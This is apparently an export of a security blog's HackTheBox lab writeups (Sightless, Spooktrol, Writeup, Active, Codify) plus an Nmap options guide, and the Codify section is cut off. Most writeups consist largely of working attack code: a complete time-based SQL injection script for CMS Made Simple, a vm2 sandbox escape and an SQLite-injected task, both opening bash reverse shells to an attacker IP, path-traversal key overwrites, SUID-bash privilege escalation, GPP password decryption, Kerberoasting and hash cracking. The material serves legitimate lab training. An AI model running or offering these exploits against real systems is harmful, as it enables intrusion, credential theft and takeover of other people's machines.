%3ba%3db()`()+}} Intercep Foxlor login with burp\nChange the loginname parameter\nLog in with abcd:Abcd@@1234\nYou will see web1 ftp in link\nSet the password for web1\nLogout and Login with the web1\nNow set the ftp password link\nCrack the KeePass Database Connect to the FTP Server:\nUse the following command to connect: lftp sightless.htb Log in with username web1 and the provided password: login web1 \u0026lt;password\u0026gt; Disable certificate verification to avoid errors: set ssl:verify-certificate no List and Retrieve Files:\nList the available files: ls You will see output similar to: drwxr-xr-x 3 web1 web1 4096 May 17 03:17 goaccess -rw-r--r-- 1 web1 web1 8376 Mar 29 10:29 index.html Navigate to the goaccess directory and its backup subdirectory: cd goaccess/backup/ ls Inside backup, you’ll find the KeePass database file (Database.kdb): -rw-r--r-- 1 web1 web1 5292 Aug 6 14:29 Database.kdb Download the KeePass database: get Database.kdb Analyze the KeePass Database:\nUse a tool like kpcli to attempt to open the database: kpcli --kdb Database.kdb You will need the master password to proceed. Crack the KeePass Password:\nExtract the hash from the KeePass database and save it as Database.kdb.hash. Use hashcat with a dictionary file (e.g., rockyou.txt) to crack the hash: keepass2john Database.kdb | tee Database.kdb.hash hashcat Database.kdb.hash /usr/share/dict/rockyou.txt --user -m 13400 If successful, hashcat will display the master password. Access and Extract Data:\nOpen the KeePass database using the cracked password: kpcli --kdb Database.kdb Navigate to the relevant section of the database: ls General/sightless.htb/Backup/ show -f General/sightless.htb/Backup/ssh attach General/sightless.htb/Backup/ssh Connect to the Target System:\nUse the extracted SSH private key to log in as root: dos2unix id_rsa echo \u0026#34;\u0026#34; \u0026gt;\u0026gt; ~/id_rsa chmod 600 ~/id_rsa ssh -i ~/id_rsa root@sightless.htb To check for CRLF line endings, use exiftool for metadata or simply open the file in a text editor, where the line endings (LF/CRLF) are usually displayed in the UI.\nCapture the Flag:\nRead the root.txt file to complete the challenge: cat root.txt Foxlor Unintended Chrome Debugging This is possible because the --remote-debugging-port=0 flag is enabled in Chrome, allowing remote debugging.\nsshpass -p insaneclownposse ssh michael@sightless.htb To determine the correct ports, use the following commands to check for active processes and listening ports:\nps auxww | grep chrome ss -tulpn Alternatively, you can use tools like pspy to monitor or confirm activity.\nForward ports using SSH to access internal web services from your pc:\nsshpass -p insaneclownposse ssh michael@sightless.htb -L 8081:localhost:8080 -N -f sshpass -p insaneclownposse ssh michael@sightless.htb -L 44163:localhost:44163 -N -f Note that port 44163 may vary, so check for the correct port using the earlier steps.\nNow, on your PC, open Chromium with remote debugging enabled:\nchromium Next, navigate to the Chromium inspect devices page:\nOpen Chromium and go to: chrome://inspect/#devices. Add localhost:44163 to forward and click inspect in the remote web service. Inspect the website by pressing F12 to open Developer Tools, then go to the Network tab. Make sure Preserve log is enabled for easier access to network activity. You will find a POST request in the Foxlor service with the payload containing the username and password in the network logs.\nFor more details, refer to this resource: Chrome Remote Debugger Pentesting.\nWeb Exploitation Inspect the website for a POST request to /index.php to capture the username and password. Log in and add a PHP version at: http://admin.sightless.htb:8081/admin_phpsettings.php?page=fpmdaemons\u0026amp;action=add In the restart command, put: chmod 4755 /bin/bash Restart the PHP-FPM service to trigger the command: http://admin.sightless.htb:8081/admin_settings.php?page=overview\u0026amp;part=phpfpm ssh michael@sightless.htb /bin/bash -p cat /tmp/root.txt Summary Sightless: use CVE-2022-0944 and CVE-2024-34070 where it fits the service, gain a shell, and escalate to root.\n","date":"2024-09-13T00:10:50+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Sightless/","protected":null,"snippet":"Sightless: use CVE-2022-0944 and CVE-2024-34070 where it fits the service, gain a shell, and escalate to root.","tags":["htb","linux","docker","cve-2022-0944","cve-2024-34070"],"title":"HackTheBox Sightless Writeup"},{"categories":["machine"],"contents":"Add Hosts Edit the /etc/hosts file and add the following entries:\n10.10.11.123 spooktrol.htb This ensures that your system can resolve the domain names spooktrol.htb to the correct IP address 10.10.11.123.\nScript to add hosts automatically ip=\u0026#34;10.10.11.123\u0026#34; domain=\u0026#34;spooktrol.htb\u0026#34; grep -qF \u0026#34;$ip $domain\u0026#34; /etc/hosts || echo -e \u0026#34;$ip $domain\u0026#34; | sudo tee -a /etc/hosts Mapping nmap -sCV spooktrol.htb\nStarting Nmap 7.95 ( https://nmap.org ) at 2024-09-14 17:02 CEST Nmap scan report for spooktrol.htb (10.10.11.123) Host is up (0.054s latency). Not shown: 997 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA) | 256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA) |_ 256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519) 80/tcp open http Uvicorn | http-robots.txt: 1 disallowed entry |_/file_management/?file=implant |_http-title: Site doesn\u0026#39;t have a title (application/json). |_http-server-header: uvicorn 2222/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 16:77:76:8a:65:a3:db:23:11:21:66:6e:e4:c3:f2:32 (RSA) | 256 61:92:eb:7a:a9:14:d7:60:51:00:0c:44:21:a2:61:08 (ECDSA) |_ 256 75:c1:96:9c:69:aa:c8:74:ef:4f:72:bd:62:53:e9:4c (ED25519) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Path Traversal Begin by exploring the robots.txt file, which reveals:\nDisallow: /file_management/?file=implant Retrieve the initial implant file:\nwget \u0026#39;http://spooktrol.htb/file_management/?file=implant\u0026#39; Then, use path traversal to access the user.txt flag:\ncurl \u0026#39;http://spooktrol.htb/file_management/?file=../../../root/user.txt\u0026#39; Fuzzing Use ffuf to find additional files on the server:\nffuf -c -w /usr/share/dict/SecLists/Discovery/Web-Content/raft-small-words.txt -u \u0026#39;http://spooktrol.htb/file_management/?file=../FUZZ.py\u0026#39; -fc 500 Identified Files Check the discovered files:\ncurl \u0026#39;http://spooktrol.htb/file_management/?file=../server.py\u0026#39; curl \u0026#39;http://spooktrol.htb/file_management/?file=../app/main.py\u0026#39; curl \u0026#39;http://spooktrol.htb/file_management/?file=../sql_app.db\u0026#39; Download the SQLite database:\nwget \u0026#39;http://spooktrol.htb/file_management/?file=../sql_app.db\u0026#39; -O spooktrol.db Exploit the Upload Endpoint The source code reveals a /file_upload endpoint. Replace the server\u0026rsquo;s authorized_keys file with your own key:\ncurl -X PUT http://spooktrol.htb/file_upload/ \\ -H \u0026#34;Cookie: auth=2a\u0026#34; \\ -F \u0026#39;file=@~/.ssh/id_rsa.pub;filename=../../../../../../../root/.ssh/authorized_keys\u0026#39; Access the Server After replacing the authorized_keys, connect to the server via SSH:\nssh -p 2222 root@spooktrol.htb Privilege Escalation Inside the server, find the .dockerenv file, indicating it\u0026rsquo;s a Docker container. To escape, follow these steps:\nEnumeration Navigate to the web application directory and explore the SQLite database:\ncd /opt/spook2/ sqlite3 sql_app.db Enumerate the tables:\nsqlite\u0026gt; .tables sqlite\u0026gt; select * from sessions; sqlite\u0026gt; select * from tasks; sqlite\u0026gt; select * from checkins where session == \u0026#39;10a6dd5dde6094059db4d23d7710ae12\u0026#39;; Review the schema and modify the tasks table to execute a reverse shell:\nsqlite\u0026gt; .schema sqlite\u0026gt; .dump tasks sqlite\u0026gt; INSERT INTO tasks VALUES(2, \u0026#39;10a6dd5dde6094059db4d23d7710ae12\u0026#39;, 0, 1, \u0026#39;bash -c \u0026#34;bash -i \u0026gt;\u0026amp; /dev/tcp/\u0026lt;vpn_ip\u0026gt;/9001 0\u0026gt;\u0026amp;1\u0026#34;\u0026#39;, \u0026#39;\u0026#39;, \u0026#39;\u0026#39;); Setup a Listener Set up a Netcat listener on your local machine:\nnc -lvnp 9001 Capture the Root Flag Once you get the connection, read the root flag:\ncat /root/root.txt Summary Spooktrol: turn the exposed service into a shell, pivot through the container boundary, and escalate to root.\n","date":"2024-09-13T00:10:50+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Spooktroll/","protected":null,"snippet":"Spooktrol: turn the exposed service into a shell, pivot through the container boundary, and escalate to root.","tags":["htb","linux","docker"],"title":"HackTheBox Spooktrol Writeup"},{"categories":["machine"],"contents":"Add Hosts Edit the /etc/hosts file and add the following entries:\n10.10.10.138 writeup.htb This ensures that your system can resolve the domain names writeup.htb to the correct IP address 10.10.10.138.\nScript to add hosts automatically ip=\u0026#34;10.10.10.138\u0026#34; domain=\u0026#34;writeup.htb\u0026#34; grep -qF \u0026#34;$ip $domain\u0026#34; /etc/hosts || echo -e \u0026#34;$ip $domain\u0026#34; | sudo tee -a /etc/hosts Mapping nmap -sCV writeup.htb\nStarting Nmap 7.95 ( https://nmap.org ) at 2024-09-14 20:05 CEST Nmap scan report for writeup.htb (10.10.10.138) Host is up (0.054s latency). Not shown: 998 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u1 (protocol 2.0) | ssh-hostkey: | 256 37:2e:14:68:ae:b9:c2:34:2b:6e:d9:92:bc:bf:bd:28 (ECDSA) |_ 256 93:ea:a8:40:42:c1:a8:33:85:b3:56:00:62:1c:a0:ab (ED25519) 80/tcp open http Apache httpd 2.4.25 ((Debian)) |_http-title: Nothing here yet. | http-robots.txt: 1 disallowed entry |_/writeup/ Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Identifying the CMS Use curl to identify the CMS:\ncurl -s \u0026#39;http://writeup.htb/writeup/\u0026#39; | grep \u0026#39;CMS\u0026#39; Output:\n\u0026lt;meta name=\u0026#34;Generator\u0026#34; content=\u0026#34;CMS Made Simple - Copyright (C) 2004-2019. All rights reserved.\u0026#34; /\u0026gt; Exploiting CVE-2022-41544 Start a listener for reverse shell access:\nnc -lvnp 9001 Use the following Python script to exploit a time-based SQL injection vulnerability:\n#!/bin/python import requests import time import optparse import hashlib import subprocess try: from termcolor import colored from termcolor import cprint except: print(\u0026#34;[-] Termcolor Not Found\\nInstalling...\u0026#34;) subprocess.call([\u0026#34;pip3\u0026#34;, \u0026#34;install\u0026#34;, \u0026#34;termcolor\u0026#34;]) parser = optparse.OptionParser() parser.add_option(\u0026#39;-u\u0026#39;, \u0026#39;--url\u0026#39;, action=\u0026#34;store\u0026#34;, dest=\u0026#34;url\u0026#34;, help=\u0026#34;Base target uri (ex. http://10.10.10.100/cms)\u0026#34;) options, args = parser.parse_args() if not options.url: print(\u0026#34;[+] Specify an url target\u0026#34;) print(\u0026#34;[+] Example usage: exploit.py -u http://target-uri\u0026#34;) print(\u0026#34;[+] Setup the variable TIME with an appropriate time, because this SQL injection is time-based.\u0026#34;) exit() url_vuln = options.url + \u0026#39;/moduleinterface.php?mact=News,m1_,default,0\u0026#39; session = requests.Session() dictionary = \u0026#39;1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@._-$\u0026#39; flag = True password = \u0026#34;\u0026#34; temp_password = \u0026#34;\u0026#34; TIME = 1 db_name = \u0026#34;\u0026#34; output = \u0026#34;\u0026#34; email = \u0026#34;\u0026#34; salt = \u0026#39;\u0026#39; def beautify_print_try(value): global output print(\u0026#34;\\033c\u0026#34;) cprint(output, \u0026#39;green\u0026#39;, attrs=[\u0026#39;bold\u0026#39;]) cprint(\u0026#39;[*] Try: \u0026#39; + value, \u0026#39;red\u0026#39;, attrs=[\u0026#39;bold\u0026#39;]) def beautify_print(): global output print(\u0026#34;\\033c\u0026#34;) cprint(output, \u0026#39;green\u0026#39;, attrs=[\u0026#39;bold\u0026#39;]) def dump_salt(): global flag global salt global output ord_salt = \u0026#34;\u0026#34; ord_salt_temp = \u0026#34;\u0026#34; while flag: flag = False for i in range(0, len(dictionary)): temp_salt = salt + dictionary[i] ord_salt_temp = ord_salt + hex(ord(dictionary[i]))[2:] beautify_print_try(temp_salt) payload = \u0026#34;a,b,1,5))+and+(select+sleep(\u0026#34; + str( TIME) + \u0026#34;)+from+cms_siteprefs+where+sitepref_value+like+0x\u0026#34; + ord_salt_temp \\ + \u0026#34;25+and+sitepref_name+like+0x736974656d61736b)+--+\u0026#34; url = url_vuln + \u0026#34;\u0026amp;m1_idlist=\u0026#34; + payload start_time = time.time() r = session.get(url) elapsed_time = time.time() - start_time if elapsed_time \u0026gt;= TIME: flag = True break if flag: salt = temp_salt ord_salt = ord_salt_temp flag = True output += \u0026#39;\\n[+] Salt for password found: \u0026#39; + salt def dump_password(): global flag global password global output ord_password = \u0026#34;\u0026#34; ord_password_temp = \u0026#34;\u0026#34; while flag: flag = False for i in range(0, len(dictionary)): temp_password = password + dictionary[i] ord_password_temp = ord_password + hex(ord(dictionary[i]))[2:] beautify_print_try(temp_password) payload = \u0026#34;a,b,1,5))+and+(select+sleep(\u0026#34; + str(TIME) + \u0026#34;)+from+cms_users\u0026#34; payload += \u0026#34;+where+password+like+0x\u0026#34; + ord_password_temp + \u0026#34;25+and+user_id+like+0x31)+--+\u0026#34; url = url_vuln + \u0026#34;\u0026amp;m1_idlist=\u0026#34; + payload start_time = time.time() r = session.get(url) elapsed_time = time.time() - start_time if elapsed_time \u0026gt;= TIME: flag = True break if flag: password = temp_password ord_password = ord_password_temp flag = True output += \u0026#39;\\n[+] Password hash found: \u0026#39; + password def dump_username(): global flag global db_name global output ord_db_name = \u0026#34;\u0026#34; ord_db_name_temp = \u0026#34;\u0026#34; while flag: flag = False for i in range(0, len(dictionary)): temp_db_name = db_name + dictionary[i] ord_db_name_temp = ord_db_name + hex(ord(dictionary[i]))[2:] beautify_print_try(temp_db_name) payload = \u0026#34;a,b,1,5))+and+(select+sleep(\u0026#34; + str( TIME) + \u0026#34;)+from+cms_users+where+username+like+0x\u0026#34; + ord_db_name_temp + \u0026#34;25+and+user_id+like+0x31)+--+\u0026#34; url = url_vuln + \u0026#34;\u0026amp;m1_idlist=\u0026#34; + payload start_time = time.time() r = session.get(url) elapsed_time = time.time() - start_time if elapsed_time \u0026gt;= TIME: flag = True break if flag: db_name = temp_db_name ord_db_name = ord_db_name_temp output += \u0026#39;\\n[+] Username found: \u0026#39; + db_name flag = True def dump_email(): global flag global email global output ord_email = \u0026#34;\u0026#34; ord_email_temp = \u0026#34;\u0026#34; while flag: flag = False for i in range(0, len(dictionary)): temp_email = email + dictionary[i] ord_email_temp = ord_email + hex(ord(dictionary[i]))[2:] beautify_print_try(temp_email) payload = \u0026#34;a,b,1,5))+and+(select+sleep(\u0026#34; + str( TIME) + \u0026#34;)+from+cms_users+where+email+like+0x\u0026#34; + ord_email_temp + \u0026#34;25+and+user_id+like+0x31)+--+\u0026#34; url = url_vuln + \u0026#34;\u0026amp;m1_idlist=\u0026#34; + payload start_time = time.time() r = session.get(url) elapsed_time = time.time() - start_time if elapsed_time \u0026gt;= TIME: flag = True break if flag: email = temp_email ord_email = ord_email_temp output += \u0026#39;\\n[+] Email found: \u0026#39; + email flag = True dump_salt() dump_username() dump_email() dump_password() beautify_print() Make the script executable and run it:\nchmod +x 46635 ./46635 -u http://writeup.htb/writeup/ Extract the salt, username, email, and password hash. Crack the password using hashcat:\nBrute Force the Hash with Salt echo -n \u0026#34;Password Hash:Salt? --\u0026gt;\u0026#34; ; read hash echo \u0026#34;$hash\u0026#34; \u0026gt; /tmp/hash.txt hashcat -m 20 -a 0 /tmp/hash.txt /usr/share/wordlists/rockyou.txt hashcat /tmp/hash.txt --show rm -rf /tmp/hash.txt Gaining Shell Access SSH into the target machine:\nssh jkr@writeup.htb Create a script for privilege escalation:\necho -e \u0026#39;#!/bin/bash\\n\\nchmod u+s /bin/bash\u0026#39; \u0026gt; /usr/local/bin/run-parts; chmod +x /usr/local/bin/run-parts Log out and log back in to trigger the script execution:\nssh jkr@writeup.htb /bin/bash -p cat /root/root.txt Summary Writeup: use CVE-2022-41544 where it fits the service, gain a shell, and escalate to root.\n","date":"2024-09-13T00:10:50+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Writeup/","protected":null,"snippet":"Writeup: use CVE-2022-41544 where it fits the service, gain a shell, and escalate to root.","tags":["htb","linux","cve-2022-41544"],"title":"HackTheBox Writeup Writeup"},{"categories":["notes"],"contents":"Nmap is a versatile tool used for network discovery, scanning, and security auditing. It allows you to combine multiple options in a single command to perform various tasks efficiently. Below is a compact guide to the most commonly used Nmap arguments.\nBasic Syntax Nmap allows you to combine different options in a single command for flexible scanning. The general syntax is:\nnmap [options] [target] For example:\nnmap -sSVO -p- target_ip This performs a SYN scan (-sS), detects service versions (-V), identifies the operating system (-O), and scans all ports (-p-) in one execution.\nScanning Options Scan Types:\n-sS: Perform a SYN scan (stealth scan). -sT: Perform a full TCP connect scan. -sU: Perform a UDP scan. -sA: Perform a TCP ACK scan (useful for firewall rules detection). -sn: Ping scan (discovery without scanning ports). -Pn: Disable ping to scan directly without checking host availability. Port Specification:\n-p-: Scan all 65535 ports. -p [port_list]: Scan specific ports or ranges (e.g., -p 22,80,443). -F: Scan the top 100 common ports. --top-ports \u0026lt;num\u0026gt;: Scan the top \u0026lt;num\u0026gt; most commonly used ports. Service and OS Detection:\n-sV: Detect service versions on open ports. -O: Perform OS detection to identify the target’s operating system. -A: Aggressive scan (combines OS detection, service version detection, and script scanning). Timing and Performance:\n-T\u0026lt;0-5\u0026gt;: Timing template for scan speed (0 is slowest, 5 is fastest). --min-rate \u0026lt;num\u0026gt;: Ensure a minimum packet send rate (e.g., --min-rate 10000 sends 10,000 packets per second). --max-retries \u0026lt;num\u0026gt;: Set the maximum number of retries for scanning specific ports. --stats-every \u0026lt;time\u0026gt;: Show scan progress at regular intervals (e.g., --stats-every=5s). -v / -vv: Increase verbosity (more detailed scan output). Host Discovery and Obfuscation Host Discovery:\n-PE: Perform a ping scan using ICMP Echo Requests. --disable-arp-ping: Disable ARP Ping Requests for discovering hosts. -n: Disable DNS resolution (speeds up scans by skipping DNS queries). Obfuscation and Interface:\n-D RND:\u0026lt;num\u0026gt;: Use random decoys to obfuscate the source IP. -e \u0026lt;interface\u0026gt;: Specify the network interface to use for the scan. -S \u0026lt;source_ip\u0026gt;: Set a specific source IP address for the scan. -g \u0026lt;port\u0026gt;: Specify the source port for the scan. --dns-server \u0026lt;ns\u0026gt;: Use a specified name server for DNS resolution. Output Options Normal Output:\n-oN \u0026lt;file\u0026gt;: Save the scan results in a human-readable format. Grepable Output:\n-oG \u0026lt;file\u0026gt;: Save results in a grepable format (easy to filter with grep). XML Output:\n-oX \u0026lt;file\u0026gt;: Save the results in XML format. Save in All Formats:\n-oA \u0026lt;file\u0026gt;: Store results in all available formats (normal, XML, grepable). Example Command Here’s an example combining multiple options into one command:\nnmap -sSVO -p 22,80,443 -T4 --min-rate 10000 -oN result.txt target_ip -sS: SYN scan (stealth). -V: Detect service versions. -O: OS detection. -p 22,80,443: Scan ports 22, 80, and 443. -T4: Use an aggressive timing template for faster results. --min-rate 10000: Send at least 10,000 packets per second. -oN result.txt: Save the output in a readable file result.txt. With Nmap, you can easily combine options into a single command for efficient scanning. By understanding how different arguments and options work together, you can optimize network discovery and auditing processes.\nSummary Nmap Scanning: run focused Nmap scans, capture service evidence, and keep enumeration reproducible.\n","date":"2024-09-12T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/Nmap/","protected":null,"snippet":"Nmap Scanning: run focused Nmap scans, capture service evidence, and keep enumeration reproducible.","tags":["notes","nmap","linux"],"title":"Nmap"},{"categories":["machine"],"contents":"Add Hosts Edit the /etc/hosts file and add the following entries:\n10.10.10.100 active.htb This ensures that your system can resolve the domain names active.htb to the correct IP address 10.10.10.100.\nScript to add hosts automatically ip=\u0026#34;10.10.10.100\u0026#34; domain=\u0026#34;active.htb\u0026#34; grep -qF \u0026#34;$ip $domain\u0026#34; /etc/hosts || echo -e \u0026#34;$ip $domain\u0026#34; | sudo tee -a /etc/hosts Mapping nmap -sCV active.htb\nStarting Nmap 7.95 ( https://nmap.org ) at 2024-09-12 12:50 CEST Nmap scan report for active.htb (10.10.10.100) Host is up (0.055s latency). Not shown: 982 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1) | dns-nsid: |_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39) 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-09-12 10:51:07Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 49152/tcp open msrpc Microsoft Windows RPC 49153/tcp open msrpc Microsoft Windows RPC 49154/tcp open msrpc Microsoft Windows RPC 49155/tcp open msrpc Microsoft Windows RPC 49157/tcp open msrpc Microsoft Windows RPC 49158/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49165/tcp open msrpc Microsoft Windows RPC Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows Host script results: | smb2-time: | date: 2024-09-12T10:52:02 |_ start_date: 2024-09-12T10:47:26 | smb2-security-mode: | 2:1:0: |_ Message signing enabled and required Samba Shares smbmap -H active.htb ________ ___ ___ _______ ___ ___ __ _______ /\u0026#34; )|\u0026#34; \\ /\u0026#34; || _ \u0026#34;\\ |\u0026#34; \\ /\u0026#34; | /\u0026#34;\u0026#34;\\ | __ \u0026#34;\\ (: \\___/ \\ \\ // |(. |_) :) \\ \\ // | / \\ (. |__) :) \\___ \\ /\\ \\/. ||: \\/ /\\ \\/. | /\u0026#39; /\\ \\ |: ____/ __/ \\ |: \\. |(| _ \\ |: \\. | // __\u0026#39; \\ (| / /\u0026#34; \\ :) |. \\ /: ||: |_) :)|. \\ /: | / / \\ \\ /|__/ \\ (_______/ |___|\\__/|___|(_______/ |___|\\__/|___|(___/ \\___)(_______) ----------------------------------------------------------------------------- SMBMap - Samba Share Enumerator v1.10.4 | Shawn Evans - ShawnDEvans@gmail.com\u0026lt;mailto:ShawnDEvans@gmail.com\u0026gt; https://github.com/ShawnDEvans/smbmap [*] Detected 1 hosts serving SMB [*] Established 1 SMB connections(s) and 1 authenticated session(s) [+] IP: 10.10.10.100:445\tName: active.htb Status: Authenticated Disk Permissions\tComment ---- -----------\t------- ADMIN$ NO ACCESS\tRemote Admin C$ NO ACCESS\tDefault share IPC$ NO ACCESS\tRemote IPC NETLOGON NO ACCESS\tLogon server share Replication READ ONLY\tSYSVOL NO ACCESS\tLogon server share Users NO ACCESS\t[*] Closed 1 connections Access SMB Shares Automatic Access Using smbclient:\nmkdir -p /tmp cd /tmp if ! command -v samba \u0026amp;\u0026gt;/dev/null; then if command -v pacman \u0026amp;\u0026gt;/dev/null; then sudo pacman -Syu samba else echo \u0026#34;Error: Could not find a suitable package manager to install samba.\u0026#34; exit 1 fi fi smbclient //active.htb/Replication -N -c \u0026#39;prompt; recurse; mget *\u0026#39; Manual Access to Avoid Excessive Requests:\nsmbclient //active.htb/Replication -I active.htb -N Files of Interest:\n. └── active.htb ├── DfsrPrivate │ ├── ConflictAndDeleted │ ├── Deleted │ └── Installing ├── Policies │ ├── {31B2F340-016D-11D2-945F-00C04FB984F9} │ │ ├── GPT.INI │ │ ├── Group Policy │ │ │ └── GPE.INI │ │ ├── MACHINE │ │ │ ├── Microsoft │ │ │ │ └── Windows NT │ │ │ │ └── SecEdit │ │ │ ├── Preferences │ │ │ │ └── Groups │ │ │ │ └── Groups.xml \u0026lt;- file with the hashed password │ │ │ └── Registry.pol │ └── {6AC1786C-016F-11D2-945F-00C04fB984F9} │ ├── GPT.INI │ ├── MACHINE │ │ └── Microsoft │ │ └── Windows NT │ │ └── SecEdit │ └── USER └── scripts cd active.htb\\Policies\\{31B2F340-016D-11D2-945F-00C04FB984F9}\\MACHINE\\Preferences\\Groups\\ more Groups.xml Decrypt the Password GPP Password Decryption Pre-2012 GPP passwords are AES-256 encrypted but vulnerable due to Microsoft\u0026rsquo;s published AES private key. Authenticated users can read SYSVOL, find XML files with cpassword, and decrypt them.\nVulnerability: AES-256 private key published. Target: XML in SYSVOL (cpassword field). Decryption Key: MSDN AES Key. #!/usr/bin/env python3 from Crypto.Cipher import AES from Crypto.Util.Padding import unpad import base64 def main(): try: key = b\u0026#34;\\x4e\\x99\\x06\\xe8\\xfc\\xb6\\x6c\\xc9\\xfa\\xf4\\x93\\x10\\x62\\x0f\\xfe\\xe8\\xf4\\x96\\xe8\\x06\\xcc\\x05\\x79\\x90\\x20\\x9b\\x09\\xa4\\x33\\xb6\\x6c\\x1b\u0026#34; iv = b\u0026#34;\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\u0026#34; b64_ciphertext = input(\u0026#34;Enter the Base64-encoded ciphertext: \u0026#34;).strip() b64_ciphertext += \u0026#34;=\u0026#34; * (((4 - len(b64_ciphertext) % 4) % 4)) print(f\u0026#34;Base64 ciphertext (with padding): {b64_ciphertext}\u0026#34;) try: raw_ciphertext = base64.b64decode(b64_ciphertext) print(f\u0026#34;Raw ciphertext (decoded): {raw_ciphertext}\u0026#34;) except (base64.binascii.Error, ValueError) as e: print(f\u0026#34;Error decoding Base64: {e}\u0026#34;) return cipher = AES.new(key, AES.MODE_CBC, iv) try: plaintext_padded = cipher.decrypt(raw_ciphertext) print(f\u0026#34;Plaintext (with padding): {plaintext_padded}\u0026#34;) plaintext = unpad(plaintext_padded, AES.block_size) print(\u0026#34;Decrypted plaintext:\u0026#34;, plaintext.decode()) except ValueError as e: print(f\u0026#34;Decryption error: {e}\u0026#34;) except KeyboardInterrupt: print(\u0026#34;\\nProcess interrupted by user. Exiting ...\u0026#34;) if __name__ == \u0026#34;__main__\u0026#34;: main() Perform Kerberoasting Get the Ticket:\nPASWORD=\u0026#34;\u0026lt;password\u0026gt;\u0026#34; smbmap -H active.htb -u SVC_TGS -p $PASWORD GetUserSPNs.py -dc-ip active.htb active.htb/SVC_TGS:$PASWORD GetUserSPNs.py -dc-ip active.htb active.htb/SVC_TGS:$PASWORD -request Crack the Ticket Hash:\necho \u0026#39;\u0026lt;ticket\u0026gt;\u0026#39; \u0026gt; ticket.txt john --format=krb5tgs --wordlist=/usr/share/dict/rockyou.txt ticket.txt rm -rf ticket.txt Use the Found Admin Password:\nPASWORD=\u0026#34;\u0026lt;password\u0026gt;\u0026#34; smbmap -H active.htb -u Administrator -p $PASWORD smbclient //MOUNT/Users -I active.htb -U=Administrator%$PASWORD -c \u0026#34;more Administrator\\Desktop\\root.txt\u0026#34; Get a Shell psexec.py administrator@active.htb Summary Active: enumerate the AD surface, abuse the exposed credential or delegation path, and escalate to Administrator.\n","date":"2024-09-12T00:10:50+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Active/","protected":null,"snippet":"Active: enumerate the AD surface, abuse the exposed credential or delegation path, and escalate to Administrator.","tags":["htb","windows","linux","active-directory","kerberos","smb","ldap"],"title":"HackTheBox Active Writeup"},{"categories":["machine"],"contents":"Add Hosts Edit the /etc/hosts file and add the following entries:\n10.10.11.239 codify.htb This ensures that your system can resolve the domain names codify.htb to the correct IP address 10.10.11.242.\nScript to add hosts automatically ip=\u0026#34;10.10.11.239\u0026#34; domain=\u0026#34;codify.htb\u0026#34; grep -qF \u0026#34;$ip $domain\u0026#34; /etc/hosts || echo -e \u0026#34;$ip $domain\u0026#34; | sudo tee -a /etc/hosts Mapping nmap -sCV codify.htb\nStarting Nmap 7.95 ( https://nmap.org ) at 2024-09-12 12:01 CEST Nmap scan report for codify.htb (10.10.11.239) Host is up (0.055s latency). Not shown: 997 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA) |_ 256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519) 80/tcp open http Apache httpd 2.4.52 |_http-server-header: Apache/2.4.52 (Ubuntu) |_http-title: Codify 3000/tcp open http Node.js Express framework |_http-title: Codify Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Remote Code Execution (RCE) gist\nTo exploit the editor feature on codify.htb, perform a remote code execution (RCE):\nRun a listener to catch the reverse shell:\nnc -lvnp 9001 Run in your terminal:\nattackerip=$(ip a | grep -A 2 \u0026#34;tun0:\u0026#34; | grep -oP \u0026#39;(?\u0026lt;=inet\\s)\\d+(\\.\\d+){3}\u0026#39;) echo -e \u0026#34;\\nSimply go on http://codify.htb and run the following\\n\u0026#34; cat \u0026lt;\u0026lt;EOF const { VM } = require(\u0026#34;vm2\u0026#34;); const vm = new VM(); const code = \\` const err = new Error(); err.name = { toString: new Proxy(() =\u0026gt; \u0026#34;\u0026#34;, { apply(target, thiz, args) { const process = args.constructor.constructor(\u0026#34;return process\u0026#34;)(); throw process.mainModule.require(\u0026#34;child_process\u0026#34;) .execSync(\u0026#34;/bin/bash -c \u0026#39;bash -i \u0026gt;\u0026amp; /dev/tcp/$attackerip/9001 0\u0026gt;\u0026amp;1\u0026#39;\u0026#34;); }, }), }; try { err.stack; } catch (stdout) { stdout; } \\`; console.log(vm.run(code)); EOF Once the reverse shell 